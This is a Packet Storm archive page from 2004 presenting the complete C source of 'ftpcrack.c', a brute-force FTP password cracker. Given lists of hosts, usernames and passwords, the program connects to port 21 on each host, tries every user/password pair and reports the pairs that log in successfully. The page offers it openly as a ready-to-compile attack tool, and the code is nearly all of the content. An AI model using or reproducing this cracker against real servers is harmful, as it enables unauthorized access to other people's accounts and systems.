what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ftpcrack.c

ftpcrack.c
Posted Sep 23, 2004
Authored by X1ngBox

Simple FTP password brute force cracker.

tags | cracker
SHA-256 | b9af2882fd7e019abaaaf9364d8200c1360309203051ee1d723ab371673fe7a3

ftpcrack.c

Change Mirror Download
/*----------------start H3Re----------------*/
/*
THIS is A simple FTP password Brute Forcer
Usage ./ftpcracker.c <site_list> <user_list> <password_list>
compile gcc ftpcracker.c -o ftpcracker
coded BY x1ng <x_1n@hotmail.com
Gretzz to:<NULL>
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>
int main(int argc,char **argv)
{

struct sockaddr_in server;
struct hostent *hp;
int sok;
FILE *input;
FILE *output;
FILE *usrlist;
FILE *passlist;
char buffer[1024];
char site[100];
char user[100];
char pass[100];
char suser[100];
char spass[100];

if (argc !=4)
{
system("clear");
printf(" Ftp PassWord Brute Forcer BY <x1ng> \n");
printf("\n x_1n@hotmail.com\n ");
printf("\nusage: %s <sites_list> <user_list> <pass_list> \n",argv[0]);
exit(0);
}
input=fopen(argv[1],"r");
if(input==NULL)
{
printf("\nBe Sure That <%s> exist:No Such File\n\n",argv[1]);
exit(0);
}


usrlist=fopen(argv[2],"r");
if(usrlist==NULL)
{
printf("\nBe Sure That <%s> exist:No Such File\n\n",argv[2]);
exit(0);
}
passlist=fopen(argv[3],"r");
if(passlist==NULL)
{
printf("\nBe Sure That <%s> exist:No Such File\n\n",argv[3]);
exit(0);
}
success:
while(!feof(input))
{

printf("\n++++++++++++++++++++++++++++++\n");
fscanf(input,"%s",site);
printf("%s",site);
printf("\n++++++++++++++++++++++++++++++\n");
if ((hp=gethostbyname(site))==NULL)
{
printf("\nCan't Resolve HostName\n");
goto success;
}
if((sok=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Error Opeining Socket\n");
exit(0);
}
server.sin_family = AF_INET;
server.sin_port = htons (21);
server.sin_addr.s_addr = *(u_long *) hp->h_addr;
bzero (&(server.sin_zero), 8);
if(connect(sok, (struct sockaddr *) &server, sizeof (struct sockaddr)) ==
-1)
{
printf ("Connection refused\n");
goto success;
}

while(!feof(usrlist))
{
fscanf(usrlist,"%s",user);
printf("%s",user);
printf("\n");
sprintf (suser, "user %s\r\n",user);
passlist=fopen(argv[3],"r");
signal (13, SIG_IGN);
while(!feof(passlist))
{
fscanf(passlist,"%s",pass);
printf("Now Trying user:%s pass:%s for <%s>\n",user,pass,site);
sprintf (spass, "pass %s\r\n",pass);
send (sok,suser,strlen(suser), 0);
//sleep(1);
send (sok,spass,strlen(spass), 0);
sleep(1);
recv(sok,buffer, sizeof(buffer),0);
if (strstr(buffer,"230")!=NULL)
{
system("clear");

printf("============================================================================");
printf("\ncorrect <Co0o0l> username:%s password:%s for
<%s>\n",user,pass,site);

printf("============================================================================");
fclose(usrlist);
usrlist=fopen(argv[2],"r");
fclose(passlist);
passlist=fopen(argv[3],"r");
close(sok);
goto success;
}
else
printf("incorrect password\n");

}
}
}
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++");
printf("\n I Am F1n35hed Cr4ck1ng
+\n");
printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
exit(0);

}

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close